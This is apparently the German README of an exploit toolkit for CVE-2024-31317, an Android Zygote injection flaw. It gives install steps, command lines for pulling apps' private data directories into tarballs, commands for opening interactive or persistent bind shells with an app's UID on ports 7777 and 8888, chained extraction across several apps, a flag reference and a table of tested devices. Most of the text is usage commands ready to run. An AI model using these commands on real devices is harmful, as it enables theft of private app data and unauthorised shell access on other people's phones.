
Dies ist ein Toolkit, das CVE-2024-31317 nutzt, um private App-Daten über ADB zu extrahieren oder eine Shell mit der UID einer App zu starten.
Dies ist ein Toolkit, das CVE-2024-31317 verwendet, um private App-Daten über ADB zu extrahieren oder eine Shell mit der UID einer App zu starten. Diese Sicherheitslücke betrifft Android-Versionen 9 bis 14 mit Sicherheitspatch-Level 2024-06-01 oder niedriger. Eine Unterstützungsmatrix getesteter Geräte finden Sie unten.
sudo apt update
sudo apt install adb openjdk-17-jdk-headless android-sdk android-sdk-build-tools
export ANDROID_HOME=/usr/lib/android-sdk
export PATH=$PATH:$ANDROID_HOME/build-tools/34.0.0:$ANDROID_HOME/platform-tools
Fügen Sie die export-Zeilen zu ~/.bashrc (oder entsprechend) hinzu, um sie dauerhaft zu machen.
./setup.sh
# Träger-APK erstellen und installieren (automatisch aus dem Quellcode erstellt)
python3 cve_2024_31317.py com.google.android.youtube --setup --rebuild -y
# Datenverzeichnis einer App extrahieren
python3 cve_2024_31317.py -d DEVICE_SERIAL -E -o app_data.tar -y com.example.app
Der Exploit erstellt beim ersten Durchlauf alles aus Hijack.java und AndroidManifest.xml.
python3 cve_2024_31317.py [flags] [package]
# Extraktion
python3 cve_2024_31317.py -d DEVICE -E -o youtube.tar -y com.google.android.youtube
# Prüfen, ob das Gerät anfällig ist
python3 cve_2024_31317.py -d DEVICE --check-vuln
# Interaktive Bind-Shell
python3 cve_2024_31317.py -d DEVICE -i -y com.google.android.youtube
# Beständige Shell auf Port 7777
python3 cve_2024_31317.py -d DEVICE -S 7777 -y com.google.android.youtube
# Mehrere Apps in einer Kette
python3 cve_2024_31317.py -d DEVICE -E -y --chain-targets "app1,app2,app3"
# Nur Wiederherstellung (Boot-Schleife beheben)
python3 cve_2024_31317.py -d DEVICE --recover
Alles wird zur Laufzeit aus dem Quellcode erstellt. Die Build-Pipeline verwendet javac (JDK 17+), d8, aapt, zipalign und apksigner aus dem Android SDK.
Wenn das Gerät über einen Passcode verfügt, startet es im BFU-Modus (Before First Unlock). Der Exploit fragt sys.user.0.ce_available bis zu 5 Minuten lang ab, bis Sie entsperren. Es wird empfohlen, den Passcode für die Dauer des Exploits zu entfernen.
† Samsung One UI spezifisch: ZNJECT-Injektion erfolgreich und -E-Extraktion funktioniert, aber die toybox nc-ServerSocket-Bind-Shell öffnet sich nie. Weitere Forschung erforderlich, um die Grundursache des Problems zu finden.
Das in hidden_api_blacklist_exemptions verbleibende Payload kann beim nächsten Start eine Boot-Schleife verursachen. Führen Sie --recover zum Zurücksetzen aus:
python3 cve_2024_31317.py -d DEVICE --recover
| Flag | Beschreibung |
|---|
-E | App-Daten über Enkel-tar | nc extrahieren (überlebt Beenden des Elternprozesses) |
-i | Interaktive Bind-Shell-REPL |
-S PORT | Beständige Shell (FIFO-Einzelport-Protokoll) |
--recover | Einstellung zurücksetzen, Boot-Hänger / Zygote-Verschlechterung beheben |
--setup | Nur Träger-APK erstellen + installieren (keine Injektion) |
--list-apps | Alle installierten Pakete mit UID und System-/Benutzertyp auflisten |
--check-vuln | Prüfen, ob das Gerät für CVE-2024-31317 anfällig ist, und beenden |
| Flag | Beschreibung |
|---|
-o file.tar | Ausgabepfad für das Extraktions-Tarball |
-y / --yes | Bestätigungsabfragen überspringen |
--retries N | Maximale Wiederholungen pro Ziel (Standard 3) |
--chain-targets "pkg1,pkg2" | Mehrere Apps in einer Sitzung extrahieren |
--chain-file file.json | Wie oben, aus JSON-Datei |
--reboot-after | Nach der Extraktion neu starten (stellt Zygote wieder her) |
--reboot-every N | Nach jeweils N Chain-Zielen neu starten |
--cold | Aufwärmen überspringen; Payload für nächsten App-Start speichern |
--port PORT | Bind-Shell-Port (Standard 8888) |
-d SERIAL | Bestimmtes Gerät als Ziel (mehrere verbunden) |
--rebuild | Neuerstellung der Träger-APK erzwingen |
| Gerät | Android | API | Patch | ABI | -E | -i | -S | --chain | --cold | --retries | --recover | --reboot-after | --list-apps | --check-vuln | Punktzahl |
|---|
| Google Pixel 3 | 12 | 31 | 2021-10-05 | arm64-v8a | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | 12/12 |
| Samsung SM-P615 Tab S6 Lite | 13 | 33 | 2024-05-01 | arm64-v8a | ✅ | ❌† | ❌† | ✅ | ✅ | ❌† | ✅ | ✅ | ✅ | ✅ | 9/12 |
| sdk_gphone_x86_64 (emulator) | 10 | 29 | 2019-09-05 | x86_64 | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | 12/12 |